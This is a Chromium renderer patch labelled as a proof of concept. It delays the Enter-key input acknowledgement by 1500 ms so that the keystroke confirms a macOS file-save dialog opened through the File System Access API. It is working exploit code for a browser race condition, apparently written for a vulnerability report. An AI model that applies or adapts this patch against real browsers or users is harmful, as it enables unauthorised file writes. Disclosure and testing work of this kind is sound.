diff --git a/third_party/blink/renderer/platform/widget/input/widget_input_handler_impl.cc b/third_party/blink/renderer/platform/widget/input/widget_input_handler_impl.cc --- a/third_party/blink/renderer/platform/widget/input/widget_input_handler_impl.cc +++ b/third_party/blink/renderer/platform/widget/input/widget_input_handler_impl.cc @@ -175,12 +175,42 @@ void WidgetInputHandlerImpl::RequestCompositionUpdates(bool immediate_request, widget_, immediate_request, monitor_request)); } +// --- POC: deterministic compromised-renderer variant ------------------------- +// Simulates a compromised renderer that withholds the kNotConsumed ack for the +// Return RawKeyDown until after the page's FileSystemAccessManager.ChooseEntries +// IPC has been processed and the NSSavePanel sheet has become keyWindow on the +// browser side. The wrapped callback is invoked unchanged (the JS handler does +// not preventDefault, so the result is kNotConsumed) — only its *timing* is +// attacker-controlled here, which is exactly the capability a real compromised +// renderer has (ChooseEntries and the WidgetInputHandler ack ride independent +// Mojo pipes). +namespace { +WidgetInputHandlerImpl::DispatchEventCallback PocDelayEnterAck( + WidgetInputHandlerImpl::DispatchEventCallback cb) { + return base::BindOnce( + [](WidgetInputHandlerImpl::DispatchEventCallback cb, auto&&... args) { + LOG(ERROR) << "[poc] withholding Enter RawKeyDown ack for 1500ms"; + base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce(std::move(cb), + std::forward(args)...), + base::Milliseconds(1500)); + }, + std::move(cb)); +} +} // namespace + void WidgetInputHandlerImpl::DispatchEvent( std::unique_ptr event, std::optional> original_event_for_gesture, DispatchEventCallback callback) { TRACE_EVENT("input,input.scrolling", "WidgetInputHandlerImpl::DispatchEvent"); + if (event && event->Event().GetType() == WebInputEvent::Type::kRawKeyDown && + static_cast(event->Event()).windows_key_code == + 0x0D /* VKEY_RETURN */) { + callback = PocDelayEnterAck(std::move(callback)); + } if (original_event_for_gesture.has_value()) { input_handler_manager_->DispatchEvent( std::move(original_event_for_gesture.value()), DispatchEventCallback());